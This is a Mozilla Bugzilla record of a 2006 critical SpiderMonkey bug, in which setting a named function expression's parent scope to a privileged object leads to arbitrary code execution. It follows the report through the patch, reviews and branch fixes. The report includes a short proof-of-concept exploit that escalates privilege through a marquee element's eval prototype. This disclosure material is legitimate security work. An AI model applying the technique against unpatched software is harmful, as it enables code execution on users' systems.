Last Comment Bug 340727 - Arbitrary code execution by setting fun.__parent__ to a privileged object
: Arbitrary code execution by setting fun.__parent__ to a privileged object
Status: RESOLVED FIXED
[sg:critical]
: fixed1.8.1, verified1.8.0.5
Product: Core
Classification: Components
Component: Security (show other bugs)
: Trunk
: All All
: P2 normal (vote)
: mozilla1.9alpha1
Assigned To: Blake Kaplan (:mrbkap) (please use needinfo!)
:
Mentors:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2006-06-07 14:54 PDT by moz_bug_r_a4
Modified: 2008-10-17 16:04 PDT (History)
9 users (show)
dveditz: blocking1.7.14?
jaymoz: blocking1.8.0.5+
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---


Attachments
testcase (398 bytes, text/html)
2006-06-07 14:56 PDT, moz_bug_r_a4
no flags Details
Fix (1.29 KB, patch)
2006-06-07 15:53 PDT, Blake Kaplan (:mrbkap) (please use needinfo!)
igor: review+
shaver: superreview+
jaymoz: approval1.8.0.5+
Details | Diff | Review
for 1.0.x (849 bytes, patch)
2006-08-08 08:24 PDT, Alexander Sack
no flags Details | Diff | Review

Description moz_bug_r_a4 2006-06-07 14:54:12 PDT
A named function created by function expression has a extra parent object that
has a property whose name is the function name.

  a = function b() {};
  a.__parent__.toSource();

  -> ({b:(function b() {})})

There is a way to set the parent object in question to a privileged object.
(I got the hint from Bug 338709.)

  Object = function() { return privileged_object; };
  a = function b() {};

Exploit:
  <marquee id="m">
  x = m.init.eval.prototype;
  x.w = window;
  Object = function() { return x; };
  var a = function b() { with (w) alert(Components.stack); };
  a.call({}); // to avoid the access check in js_ComputeThis.
Comment 1 moz_bug_r_a4 2006-06-07 14:56:50 PDT
Created attachment 224765 [details]
testcase
Comment 2 Blake Kaplan (:mrbkap) (please use needinfo!) 2006-06-07 15:53:53 PDT
Created attachment 224775 [details] [diff] [review]
Fix

If anybody's relying on this behavior already, then, IMO, they'll get what they deserve.
Comment 3 Mike Shaver (:shaver -- probably not reading bugmail closely) 2006-06-07 15:56:23 PDT
Comment on attachment 224775 [details] [diff] [review]
Fix

sr=shaver
Comment 4 Igor Bukanov 2006-06-08 02:04:51 PDT
Comment on attachment 224775 [details] [diff] [review]
Fix

This is an area where as I remember Rhino deviates from SpiderMonkey quite significantly. For named function expressions Rhino parser simply adds a variable initialized to the function itself avoiding an extra objects. It violates Ecma v3 since potentially user-visible  new Object is not called. But this is really the case of broken specs.
Comment 5 Blake Kaplan (:mrbkap) (please use needinfo!) 2006-06-09 11:41:28 PDT
Fix checked into trunk.
Comment 6 Brendan Eich [:brendan] 2006-06-13 22:27:38 PDT
(In reply to comment #4)
> (From update of attachment 224775 [details] [diff] [review] [edit])
> This is an area where as I remember Rhino deviates from SpiderMonkey quite
> significantly. For named function expressions Rhino parser simply adds a
> variable initialized to the function itself avoiding an extra objects. It
> violates Ecma v3 since potentially user-visible  new Object is not called. But
> this is really the case of broken specs.

Yes, here and in catch clause case, ECMA-262 goes off the rails.  It often (but not consistently) uses an internal constructor function that magically uses the "original Object.prototype value" as the prototype of the new object, and does not invoke the constructor function by its name.

For ES4, both cases should use lexical scope.

/be
Comment 7 Jay Patel [:jay] 2006-06-14 14:24:33 PDT
Comment on attachment 224775 [details] [diff] [review]
Fix

a=jay for checkin on the 1.8.0 branch.
Comment 8 Blake Kaplan (:mrbkap) (please use needinfo!) 2006-06-15 18:19:24 PDT
Fix checked into the 1.8 branches.
Comment 9 Jay Patel [:jay] 2006-06-19 15:40:43 PDT
v.fixed on 1.8.0 branch with Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.5) Gecko/20060619 Firefox/1.5.0.5
Comment 10 Alexander Sack 2006-08-08 08:24:16 PDT
Created attachment 232733 [details] [diff] [review]
for 1.0.x

can't remember if the original applied cleanly. This one does for sure.

Note You need to log in before you can comment on or make changes to this bug.